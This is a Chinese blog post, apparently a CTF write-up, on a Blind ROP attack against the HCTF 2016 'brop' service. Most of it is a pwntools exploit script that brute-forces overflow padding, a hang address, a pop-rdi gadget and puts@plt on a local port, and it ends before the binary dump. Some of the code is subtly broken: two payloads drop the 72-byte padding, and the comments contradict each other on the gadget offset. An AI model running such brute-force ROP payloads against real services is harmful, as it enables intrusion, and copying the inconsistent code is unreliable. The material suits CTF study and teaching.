pwn | hctf2016 brop

Author Avatar
Aryb1n 4月 09, 2018

为了我自己复现的时候整理的方便..都放到wp一栏了…
wooyun有一篇drops, 写得很详细, emmmmmo
叫做: Blind Return Oriented Programming (BROP) Attack - 攻击原理

先测一下看起来不是格式化字符串(复现的时候可以通过看代码0.0)
然后测试padding大小
找到一个hang_addr, 使得程序能回到原来的地方, 接受多次输出
然后找到一个puts, 把程序dump出来, 这道题目是64位的…所以还要有一个pop rdi; ret来传参
然后就和一般的题目一样了
这道题目没有canary..如果有的话还要爆破..

from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']

p = ''

def gd(a=''):
    gdb.attach(p, a)
    if a == '':
        raw_input()

def test_padding():
    for i in range(100):
        p = remote('127.0.0.1', 10001)
        p.recvline()
        p.sendline('A' * i)
        try:
            p.recvuntil('No password, no game')
        except:
            print "[*] padding is ", i
            break
        p.close()


def find_hang_addr():
    for i in range(0x1000):
#        addr = 0x08048000 + i
        addr = 0x400000 + i
        p = remote('127.0.0.1', 10001)
        p.recvline()
        p.sendline('A' * 72 + p64(addr))
        try:
            p.recvuntil('WelCome my friend,Do you know password?')
            print "[*] hang addr is ", hex(addr)
            break
        except:
            pass
        p.close()

    return addr

hang_addr = find_hang_addr()

# 我们需要puts来dump程序, 所以我们需要一个`pop rdi, ret`
# 我们找到那个`pop r15, ret`, 往后偏移一个字节就是`pop rdi, ret`
# 这个gadget是
# 
# pop rbx;
# pop rbp;
# pop r12;
# pop r13;
# pop r14;
# pop r15;
# ret
# 
# 验证的时候我们就用这个验证, 满足下面的条件说明就是OK的
# payload1 = 'A' * 72 + p64(addr - 1) + p64(0) + p64(ret)
# payload1 = 'A' * 72 + p64(addr) + p64(0) + p64(ret)
# payload1 = 'A' * 72 + p64(addr + 1) + p64(ret)
def find_rdi_ret(hang_addr):
    for i in range(0x1000):
        addr = 0x400000 + i
        p = remote('127.0.0.1', 10001)
        p.recvline()
        payload = 'A' + p64(addr) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + p64(hang_addr)
        p.sendline(payload)
        try:
            p.recvuntil('WelCome my friend,Do you know password?')
            print "[*] pop_pop_...._ret addr is ", hex(addr)
            break
        except:
            pass
        p.close()

# 得到`gadget`地址, 加上8得到`pop rdi; ret`地址, 带到上面三条里验证一下, 就OK

def find_puts_plt(pop_rdi_ret):
    for i in range(0x1000):
        addr = 0x400000 + i
        p = remote('127.0.0.1', 10001)
        p.recvline()
        payload = 'A' + p64(pop_rdi_ret) + p64(0x400000) + p64(addr)
        p.sendline(payload)
        try:
            p.recvuntil('ELF')
            print "[*] puts@plt is ", hex(addr)
            break
        except:
            pass
        p.close()

然后dump程序后面不写了